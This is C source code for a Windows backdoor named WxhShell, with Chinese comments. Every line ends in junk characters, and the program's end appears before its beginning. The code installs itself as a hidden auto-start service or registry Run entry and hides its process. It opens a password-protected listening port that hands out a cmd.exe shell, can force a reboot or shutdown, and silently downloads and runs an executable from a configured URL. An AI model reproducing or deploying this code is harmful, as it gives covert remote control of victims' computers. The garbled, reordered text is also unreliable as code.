    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 5n,?>> p$  
    if(Boot(SHUTDOWN)) |ahleu  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N.OC _H&  
    else { 77- Jx`C  
    closesocket(wsh); ]q DhGt  
    ExitThread(0); B5>h@p-UV  
    } %"~\Pu*>  
    break; O^v^GG=e;C  
    } pqO}=*v@  
  // 获取shell E]`)  
  case 's': { gNJ,Bj Pd  
    CmdShell(wsh); >VnkgY  
    closesocket(wsh); mAh0xgm  
    ExitThread(0); mHjds77e  
    break;  *r Y6  
  } ,Ju f  
  // 退出 s0"S;{_#  
  case 'x': { w*[i!i  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); bj4cW\b(  
    CloseIt(wsh); #95.KkF  
    break; 8`Fo^c=j  
    } z"8%W?o>  
  // 离开 <d~P;R(@  
  case 'q': { xoI;s}*E  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); cUssF%ud]  
    closesocket(wsh); Uj&2'>MJ$  
    WSACleanup(); hW[/{2<@  
    exit(1); u9rlNmf$  
    break; I`kaAOe  
        } bFk >IifN  
  } R'f|1mt  
  } Q':xi;?Kt  
Ub=g<MYHV  
  // 提示信息 ;rWgt!l  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ijq1ns_tx8  
} v'0A$`w`  
  } v 0mc1g+9  
T{v(B["!$  
  return; 22S4q`j  
} I*_@WoI*  
<RY5ZP  
// shell模块句柄 6j{9\ R  
int CmdShell(SOCKET sock) %cMX]U  
{ X[b=25Ct  
STARTUPINFO si; _]8FCO  
ZeroMemory(&si,sizeof(si)); :4s{?IY)l  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; =?>f[J5  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ($EA/|z  
PROCESS_INFORMATION ProcessInfo; fH? e9E4l  
char cmdline[]="cmd"; 3jQy"9f  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); >2l1t}"\  
  return 0; S 4uX utd  
} -b+VzVJZ  
UN#XP$utY  
// 自身启动模式 W1S7%6y_1  
int StartFromService(void) c}GmS@  
{ f tW-  
typedef struct `%}SK~<R  
{ [:<CgU9C  
  DWORD ExitStatus; I$!rNfrs  
  DWORD PebBaseAddress; GJN"43  
  DWORD AffinityMask; $qG;^1$  
  DWORD BasePriority;  gSQq  
  ULONG UniqueProcessId; 'fO[f}oa_.  
  ULONG InheritedFromUniqueProcessId; vgY ) L  
}   PROCESS_BASIC_INFORMATION; 9/3gF)I}  
F#_JcEE  
PROCNTQSIP NtQueryInformationProcess; rOd<nP^`\  
y J*`OU#  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; -t~l!! N(  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; %+gYZv-  
|O3wAxc3W  
  HANDLE             hProcess; ) =-$>75Z  
  PROCESS_BASIC_INFORMATION pbi; E~vM$$O$  
9IJBK  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Q\.~cIw_AQ  
  if(NULL == hInst ) return 0; iJ n<  
J%ng8v5ex  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); r >bMx~a]  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); )D'SfNx#{  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); -7E)u  
l~P%mVC3m  
  if (!NtQueryInformationProcess) return 0; pu#h:nb>88  
o2M+=O@  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Xc"l')1H  
  if(!hProcess) return 0; 'J\nvNm  
`-@8IZ7  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; IoO tn  
;e,_F/@`  
  CloseHandle(hProcess); .*\TG/x  
ipzv]c&  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); BG ,ln(Vz  
if(hProcess==NULL) return 0; oz3N 8^M  
5cj]Y)I-~  
HMODULE hMod; .. jc^'L  
char procName[255]; iF]G$@rbU  
unsigned long cbNeeded; A^lJlr:_`  
#r5IwyL  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); @yc/1u $r  
XC 44]o4jx  
  CloseHandle(hProcess); 9!'qLO  
$sF'Sr{)y  
if(strstr(procName,"services")) return 1; // 以服务启动 S-x'nu$u  
Z;M}.'BE  
  return 0; // 注册表启动 D{'>G@nLQ  
} h8 Wv t's  
O3ij/8f  
// 主模块 as#_Fer`U  
int StartWxhshell(LPSTR lpCmdLine) C8ss6+k&  
{ I*h%e,yIO  
  SOCKET wsl; ]QM{aSvXA  
BOOL val=TRUE; <'(O0  
  int port=0; R<\5 q%@G  
  struct sockaddr_in door; sKE7U>mz|  
* AsILK0  
  if(wscfg.ws_autoins) Install(); VtM:~|v  
iakqCjV  
port=atoi(lpCmdLine); W^U6O&-K  
".0~@W0  
if(port<=0) port=wscfg.ws_port; YoC{ t&rY  
|76G#K~<X  
  WSADATA data; sd(Yr6~..  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Evjvaa^  
(i3V  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   }uZtAH|  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); p~v rr 5  
  door.sin_family = AF_INET; SynL%Y9)|,  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ajr);xd  
  door.sin_port = htons(port); VIIBw  
whH_<@!  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { b\{34z,  
closesocket(wsl); *U<l$gajq  
return 1; oc|%|pmRd<  
} f{i~hVF  
x6n(BMr  
  if(listen(wsl,2) == INVALID_SOCKET) { v8{ jEAK  
closesocket(wsl); ]t2zwHo#  
return 1; j<*  
} [quT&E  
  Wxhshell(wsl); rnOg;|u8  
  WSACleanup(); 0fOx&"UAB  
^ <$$h  
return 0; /JcfAY  
\zx &5a #  
} lwVo%-  
E%.w6-  
// 以NT服务方式启动 9~rrN60Q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) l_q=@y  
{ R5"5Z?'  
DWORD   status = 0; Q<c{$o  
  DWORD   specificError = 0xfffffff; |>'.(  
*UerLpf  
  serviceStatus.dwServiceType     = SERVICE_WIN32; _L^(CFE  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; nO\c4#ce  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; n%Rl$  
  serviceStatus.dwWin32ExitCode     = 0;  S6d&w6  
  serviceStatus.dwServiceSpecificExitCode = 0; mm1fG4 *%  
  serviceStatus.dwCheckPoint       = 0; .="/n8B  
  serviceStatus.dwWaitHint       = 0; qN=l$_UD  
q,Nhfo(  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);  fOUW{s  
  if (hServiceStatusHandle==0) return; 15l{gbCW  
prdc}~J8{  
status = GetLastError(); kq4ii`zi8  
  if (status!=NO_ERROR) $bCN;yE  
{ G~+BO'U9'G  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; <i$ud&D  
    serviceStatus.dwCheckPoint       = 0; /cXVJ(#j  
    serviceStatus.dwWaitHint       = 0; <E&8g[x6  
    serviceStatus.dwWin32ExitCode     = status; =i1+t"=  
    serviceStatus.dwServiceSpecificExitCode = specificError; >^Z==1  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Lu.C+zgQ  
    return; ~u.( (GM  
  } US'rhSV  
} \?]uNH  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; tb1w 6jaU  
  serviceStatus.dwCheckPoint       = 0; #,5v#| u|7  
  serviceStatus.dwWaitHint       = 0; bd;?oYV~  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); + t JEG:  
} +oRBSAg-  
GF/!@N  
// 处理NT服务事件,比如:启动、停止 X4$86  
VOID WINAPI NTServiceHandler(DWORD fdwControl) S)\Yc=~h  
{ S2\|bs7;J,  
switch(fdwControl) ls,;ozU  
{  KB5<)[bs  
case SERVICE_CONTROL_STOP: LcW:vV|'K  
  serviceStatus.dwWin32ExitCode = 0; Q13>z%Rge  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; uG^RU\(  
  serviceStatus.dwCheckPoint   = 0; JU`5K}H<  
  serviceStatus.dwWaitHint     = 0; L3J .Oh  
  { *1b1phh0/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -VafN   
  } A>B_~=  
  return; mhi^zHpa  
case SERVICE_CONTROL_PAUSE: ZD#{h J-  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; =8W'4MC  
  break; V+>.Gf  
case SERVICE_CONTROL_CONTINUE: P/Zp3O H  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; [eLU}4v{  
  break; 7\<}378/^  
case SERVICE_CONTROL_INTERROGATE: =;m;r!,K  
  break; Z~Vups#+f  
}; Hq!|(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @A1Ohl  
} E%e2$KfD  
bPMkBm  
// 标准应用程序主函数 ( SiwO.TZ  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) VI(2/**  
{ q'CtfmI`r=  
H+?@LPV*N  
// 获取操作系统版本 C|g]Y 7  
OsIsNt=GetOsVer(); Z_WJgH2c  
GetModuleFileName(NULL,ExeFile,MAX_PATH); k3VRa|Y")  
%(d0`9  
  // 从命令行安装 >pj)va[Q  
  if(strpbrk(lpCmdLine,"iI")) Install(); ?3; 0 SAh  
@lu` oyM  
  // 下载执行文件 mNdEn<W  
if(wscfg.ws_downexe) { $(N+E,XB  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) IRY/0v  
  WinExec(wscfg.ws_filenam,SW_HIDE); -esq]c%3  
} ~7O.}RP0  
0oNy  
if(!OsIsNt) { 5169E*  
// 如果时win9x,隐藏进程并且设置为注册表启动 GSaU:A  
HideProc(); 9 =zZ,dg  
StartWxhshell(lpCmdLine); ?D9>N'yH8  
} k35E,?T  
else _2wH4^Vb  
  if(StartFromService()) R|JBzdK+P  
  // 以服务方式启动 nv}z%.rRUj  
  StartServiceCtrlDispatcher(DispatchTable); uK5 C-  
else Og/@w&  
  // 普通方式启动 h:~ 8WV|  
  StartWxhshell(lpCmdLine); )Bpvi4O  
V4tObZP3Ff  
return 0; Z O\x|E!b  
} @*"H{xo.U  
0;n}{26a  
&p83X  
1azj%WY  
=========================================== I*OJPFZ^4  
/A"UV\H`f  
Q%.F Mf  
df@G+v0_1  
Fz1K*xx'  
XTS%:S  
" ;^9y#muk  
#@8JYzMq%  
#include <stdio.h> qg9VK'3o  
#include <string.h> G{4lgkyy  
#include <windows.h> WwAvR5jq  
#include <winsock2.h> LY1dEZ-)A  
#include <winsvc.h> |]+PDc%  
#include <urlmon.h> ZJ'Tb<fP  
#"KaRh  
#pragma comment (lib, "Ws2_32.lib") N5jJ,iz  
#pragma comment (lib, "urlmon.lib") 5sI9GC  
U?&&yynK  
#define MAX_USER   100 // 最大客户端连接数 iZn<j'u  
#define BUF_SOCK   200 // sock buffer f,0,:)  
#define KEY_BUFF   255 // 输入 buffer / &#b*46  
~%d*#Yxq  
#define REBOOT     0   // 重启 p$_X\,F  
#define SHUTDOWN   1   // 关机 " 'TEBkj|u  
=L9;8THY  
#define DEF_PORT   5000 // 监听端口 {1m.d;(1  
09sdt;V Q  
#define REG_LEN     16   // 注册表键长度 xXfFi5Eom  
#define SVC_LEN     80   // NT服务名长度 ~?<VT k  
U8GvUysB!  
// 从dll定义API E)]RQ~jY?  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); M$MFUGS'  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); bC0DzBnM;  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); RC+`sZ E9  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); _&}z+(Ug  
]B=2r^fn  
// wxhshell配置信息 *28:|blbL  
struct WSCFG { 4">C0m;ks  
  int ws_port;         // 监听端口 uG{/yJeU  
  char ws_passstr[REG_LEN]; // 口令 n2;Vrs,<1&  
  int ws_autoins;       // 安装标记, 1=yes 0=no dA=T+u  
  char ws_regname[REG_LEN]; // 注册表键名 h[}e5A]}  
  char ws_svcname[REG_LEN]; // 服务名 %hV]vm  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 TT3\c,cs  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 -,^Z5N#\|  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 `PI?RU[g*  
int ws_downexe;       // 下载执行标记, 1=yes 0=no *@zya9y9q  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" {D7v[P+  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 $.T\dm-  
@lTd,V5f  
}; ve@E.`  
F%`O$uXA  
// default Wxhshell configuration z-G*:DfgH  
struct WSCFG wscfg={DEF_PORT, = sh3&8  
    "xuhuanlingzhe", NkY7Hg0  
    1, 4StoEgFS  
    "Wxhshell", #Z1 <lAy  
    "Wxhshell", 'NSfGC%7R  
            "WxhShell Service", S9lT4  
    "Wrsky Windows CmdShell Service", ,B,:$G<  
    "Please Input Your Password: ", zx`(ojfu  
  1, IUSV\X9  
  "http://www.wrsky.com/wxhshell.exe", S- JD}+ 9  
  "Wxhshell.exe" Uo=_=.GQ  
    }; bo40s9"-*W  
CQ/ps,~M  
// 消息定义模块 NEff`mwm5)  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ak$D1#hY  
char *msg_ws_prompt="\n\r? for help\n\r#>"; )kvrQ6  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; E<r<ObeRv`  
char *msg_ws_ext="\n\rExit."; cxc-|Xori  
char *msg_ws_end="\n\rQuit."; Bz4;R9_%I  
char *msg_ws_boot="\n\rReboot..."; J{e`P;ND  
char *msg_ws_poff="\n\rShutdown..."; }Wz[ox9b  
char *msg_ws_down="\n\rSave to "; 8&c:73=?X  
eoxEnCU  
char *msg_ws_err="\n\rErr!"; JV@b(x`  
char *msg_ws_ok="\n\rOK!"; h_\OtoRa  
h4N&Yb fo  
char ExeFile[MAX_PATH]; .'zcD^  
int nUser = 0; Fr)6<9%xVm  
HANDLE handles[MAX_USER]; iE,/x^&,&  
int OsIsNt; cg_j.=M-  
!;M5.Y1j&"  
SERVICE_STATUS       serviceStatus; 5m9;'SF  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ~ As_O6JI  
WuMr";2*E  
// 函数声明 s(cC ;  
int Install(void); |DLmMsS4  
int Uninstall(void); e7M6|6nb  
int DownloadFile(char *sURL, SOCKET wsh); n |Q' >  
int Boot(int flag); 3.w &e0Es  
void HideProc(void); >N-l2?rE  
int GetOsVer(void); ]^I[SG,  
int Wxhshell(SOCKET wsl); Aga{EKd  
void TalkWithClient(void *cs); h]DzX8r}  
int CmdShell(SOCKET sock); .wf$]oQQ  
int StartFromService(void); _ pO1XM  
int StartWxhshell(LPSTR lpCmdLine); 9F2MCqvcm  
~qkn1N%'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); z, c=."<z  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); rn RWL4  
q" @%WK  
// 数据结构和表定义 *&tv(+P  
SERVICE_TABLE_ENTRY DispatchTable[] = iHlee=}od  
{ :ioD  *k  
{wscfg.ws_svcname, NTServiceMain}, StU9r0`  
{NULL, NULL}  J7p?9  
}; 0`Y"xN`'i  
b_']S0$c\  
// 自我安装 PE<(eIr  
int Install(void) |[X-i["y  
{ bFsJqA.A  
  char svExeFile[MAX_PATH]; :Hj #1-U  
  HKEY key; nTCwLnX(O  
  strcpy(svExeFile,ExeFile); `!y/$7p  
Ny G?^  
// 如果是win9x系统,修改注册表设为自启动 k;Ask#rs  
if(!OsIsNt) { .svlJSx  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ? u~?:a@K  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); G-5ezVli  
  RegCloseKey(key); q z8Jvgu?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { o "1X8v  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); y=LN| vkQ  
  RegCloseKey(key); 4rUOk"li  
  return 0; 30{WGc@l#  
    } 0ni/!}YP_  
  } Un Ocw  
} 2X6L'!=  
else { +^ `n- m  
V z-]H]MW,  
// 如果是NT以上系统,安装为系统服务 m-lTXA(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); > *soc!#Y  
if (schSCManager!=0) 3ICMH  
{ !7Nz_d~n  
  SC_HANDLE schService = CreateService d0 ;<Cw~Tl  
  ( 70.Tm#qh  
  schSCManager, /&W~:F  
  wscfg.ws_svcname, ]MnQ3bWq"j  
  wscfg.ws_svcdisp, Sh\Jm*5  
  SERVICE_ALL_ACCESS, aV#phP  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ftD(ed  
  SERVICE_AUTO_START, \WxBtpbQ B  
  SERVICE_ERROR_NORMAL, nhRpb9f`1@  
  svExeFile, "x O+  
  NULL, ~nb1c:F  
  NULL, ]nq/y AF%  
  NULL, $8`"  
  NULL, KO[,C[;|j  
  NULL mX[J15  
  ); #~[{*[B+  
  if (schService!=0) A+hA'0isF@  
  { u,./,:O%=  
  CloseServiceHandle(schService); fndbGbl8p  
  CloseServiceHandle(schSCManager); e?+&2zMq  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); }!N/?A5  
  strcat(svExeFile,wscfg.ws_svcname); /xCX. C  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { FT\%=>{  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); CIj7' V  
  RegCloseKey(key); D+y?KihE  
  return 0; KpT=twcK  
    } ?{\h`+A  
  } h_6c9VI  
  CloseServiceHandle(schSCManager); -Eoq#ULvR  
} ydMSL25<+  
} R#ZO<g%'  
3 J5lz~6  
return 1; 6pbtE]  
} l OiZ2_2  
^O,r8K{1n  
// 自我卸载 fJ&\Z9zY  
int Uninstall(void) Z29aRi  
{ O]KQ]zN  
  HKEY key; Fz' s\  
Z1{>"o:@  
if(!OsIsNt) { 1rON8=E  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 51xf.iB  
  RegDeleteValue(key,wscfg.ws_regname); )FN$Jlo  
  RegCloseKey(key); a\}` f=T  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { gv1y%(`|n(  
  RegDeleteValue(key,wscfg.ws_regname); .-)kIFMi  
  RegCloseKey(key); gux?P2f  
  return 0; +'wO:E1( w  
  } ?in)kL  
} HSVl$66  
} bnJ4Edy  
else { LCW}1H:Q  
Pbt7T Q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ;vy<!@Y;8  
if (schSCManager!=0) z0Z1J8Qq6.  
{ L3A2A  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); {W HK|l   
  if (schService!=0) a'A<'(yv  
  { +!ZfJZls  
  if(DeleteService(schService)!=0) { r"|.`$:B  
  CloseServiceHandle(schService); f~7V<v  
  CloseServiceHandle(schSCManager); Z\cD98B#  
  return 0; J|vg<[  
  } f Xh{ _>  
  CloseServiceHandle(schService); Cj$:TWYIh[  
  } GWv i  
  CloseServiceHandle(schSCManager); AH_qZTv0{Q  
} %m+7$iD  
} }Rw6+;  
i[:cG  
return 1; BWNI|pq)v  
} J57; X=M  
pw`'q(ad  
// 从指定url下载文件 }9&dY!h +  
int DownloadFile(char *sURL, SOCKET wsh) k SgE_W)  
{ %NM={X|'  
  HRESULT hr; `?b'.Z_J  
char seps[]= "/"; D c;k)z=  
char *token; @C^wV  
char *file; hRMya#%-  
char myURL[MAX_PATH]; =3`|D0E  
char myFILE[MAX_PATH]; CD%Cb53  
\BN$WV  
strcpy(myURL,sURL); r=~K#:66  
  token=strtok(myURL,seps); :(wFNK/0{  
  while(token!=NULL) jOzi89  
  { {&UA6 0~6  
    file=token; 1z4_QZZ.NG  
  token=strtok(NULL,seps); E@yo/S  
  } '#=0q  
/V63yzoY  
GetCurrentDirectory(MAX_PATH,myFILE); b%vIaP|]B  
strcat(myFILE, "\\"); n1PBpM9!  
strcat(myFILE, file); Js vdC]+  
  send(wsh,myFILE,strlen(myFILE),0); F-oe49p5e  
send(wsh,"...",3,0); ]:b52Z  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Ow.DBL)x'>  
  if(hr==S_OK) ch25A<O<R.  
return 0; jM @N<k  
else 6q>}M  
return 1; 841y"@*BY  
GC'e  
} l#%7BGwzY  
GM?s8yZ<  
// 系统电源模块 H7z)OaM  
int Boot(int flag) EwkSUA>Tm  
{ M=lU`Sm  
  HANDLE hToken; wDGb h=  
  TOKEN_PRIVILEGES tkp; _> x}MW+  
74MxU  
  if(OsIsNt) { +L`}(yLJ)9  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); o-7{\%+M  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ;{L[1OP%e  
    tkp.PrivilegeCount = 1; 0c`nk\vUy  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; $#p5BQQ|  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); T!ZjgCY}  
if(flag==REBOOT) { Sk/@w[  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) [P =P8-5  
  return 0; af %w|M  
} lwrh4<~\,*  
else { ..X_nF  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) iw3\`,5   
  return 0; NsP=l]  
} !%ju.Xs8  
  } 1n[)({OQ  
  else { e15yDwvB  
if(flag==REBOOT) { #qY gQ<TM!  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) #dL,d6a  
  return 0; /51$o\4 S  
} hTzj{}w  
else { +pwTM]bV  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) \t&! &R#  
  return 0; =eUKpYI  
} |+W{c`KL  
} GEF's#YWK  
_<#92v !F  
return 1; xb3G,F  
} +]A,fmI.  
8wvHg_U6W  
// win9x进程隐藏模块 O>qlWPht  
void HideProc(void) v:QUwW  
{ q,L>PN+W  
el*|@#k}  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); j \jMN*dmV  
  if ( hKernel != NULL ) R}gdN-941  
  { 5=I({=/>  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); W+1nf:AI.  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Lv['/!DJ|  
    FreeLibrary(hKernel); SyVXXk 0  
  } hdx_Tduue  
Ja:4EU$Lu  
return; 1>rQ).eT  
} slPr^)  
R9R~$@~G  
// 获取操作系统版本 zPp22  
int GetOsVer(void) fc@<'-VA  
{ H`)eT6:|/  
  OSVERSIONINFO winfo;  94PI  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); (0q`eO2  
  GetVersionEx(&winfo); 9e K~g0m  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 5@%Gq)z5  
  return 1; S/)),~`4  
  else >~Zj  
  return 0; Ve%ua]qA  
} l+F29_o#  
lwX9:[Z  
// 客户端句柄模块 \99'#]\_/E  
int Wxhshell(SOCKET wsl) ^6kl4:{idE  
{ Yc]k<tQ  
  SOCKET wsh; Nm z5:Rq  
  struct sockaddr_in client; #;a+)~3*O  
  DWORD myID; ~/K&=xE  
rtz-kQ38R  
  while(nUser<MAX_USER) WUie `p  
{ , 4xNW:!j  
  int nSize=sizeof(client); i*N2@Z[  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); =t-Ud^3  
  if(wsh==INVALID_SOCKET) return 1; bT2c&VPCE  
W vB]Rs  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); }EwE#sZ#  
if(handles[nUser]==0) ##Pzc~xSn  
  closesocket(wsh); 13/,^?  
else eR5q3E/;G  
  nUser++; Tx K v!-1  
  } iu=Mq|t0  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); k8}fKVU;  
h SS9mQ  
  return 0; e_epuki  
} .jqil0#)Y"  
Q" h]p  
// 关闭 socket VdM Ksx`r  
void CloseIt(SOCKET wsh) _@XueNU1hS  
{ D.{vuftu  
closesocket(wsh); PU.j(0  
nUser--; 8/R$}b><  
ExitThread(0); 1YMi4.  
} Dz~^AuD6  
kYkA^Aq  
// 客户端请求句柄 oe^JDb#  
void TalkWithClient(void *cs) yxu7YGp%  
{ n-M6~   
n%36a(] t  
  SOCKET wsh=(SOCKET)cs; ;U?=YSHk7  
  char pwd[SVC_LEN]; x'}z NEXI  
  char cmd[KEY_BUFF]; U`~L}w"  
char chr[1]; ,/p+#|>C=  
int i,j; h#UPU7;  
OjffN'a+N  
  while (nUser < MAX_USER) { {f4jE#a>v  
SbUac<  
if(wscfg.ws_passstr) { C~>0K,C0^  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); qmn l  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]]r ;}$  
  //ZeroMemory(pwd,KEY_BUFF); lQ^"-zO4  
      i=0;  rwSR  
  while(i<SVC_LEN) { \anOOn@  
?Mo)&,__  
  // 设置超时 eVMnI yr  
  fd_set FdRead; <n k/w5nKL  
  struct timeval TimeOut; A?n5;mvq#  
  FD_ZERO(&FdRead); 7R5ebMW V  
  FD_SET(wsh,&FdRead); ~FAk4z=Ed  
  TimeOut.tv_sec=8; "\+\,C  
  TimeOut.tv_usec=0; 6X'0 T}  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); tIV9Y=ckr0  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); n|H8O3@  
u"7!EhX&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); mBye)q$  
  pwd=chr[0]; WS4DzuZZ  
  if(chr[0]==0xd || chr[0]==0xa) { w#BT/6W&G  
  pwd=0; {C]tS5$Z  
  break; 7ieAd/:_  
  } dhP")@3K;p  
  i++; PL31(!`@d  
    } j)ln"u0R^B  
'"Uhw$#t  
  // 如果是非法用户,关闭 socket FnOa hLS  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); a)S6Z  
} iSOyp\E|  
v`Y{.>[H[  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ^"iL|3d  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -e"kJd&V  
7zN7PHT=$t  
while(1) { c*<BU6y  
ZjY?T)WE9  
  ZeroMemory(cmd,KEY_BUFF); ?c"i V  
o)b-fAd@$  
      // 自动支持客户端 telnet标准   @!ja/Y^  
  j=0; 'Zex/:QS  
  while(j<KEY_BUFF) { gE*7[*2?t  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); l*CCnqE  
  cmd[j]=chr[0]; f#I#24)RH  
  if(chr[0]==0xa || chr[0]==0xd) { =?]S8cth  
  cmd[j]=0; 3,hu3"@k  
  break; &Vpr[S@:{  
  } 4kV$JV.l  
  j++; e^;:iJS  
    } BVus3Y5IJQ  
 ]sP  
  // 下载文件 H<nA*Zf2@R  
  if(strstr(cmd,"http://")) { S5H}   
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); .*+jD^Gr  
  if(DownloadFile(cmd,wsh)) Ms3GvPsgv  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); kQ2WdpZ/  
  else I 5ZDP|  
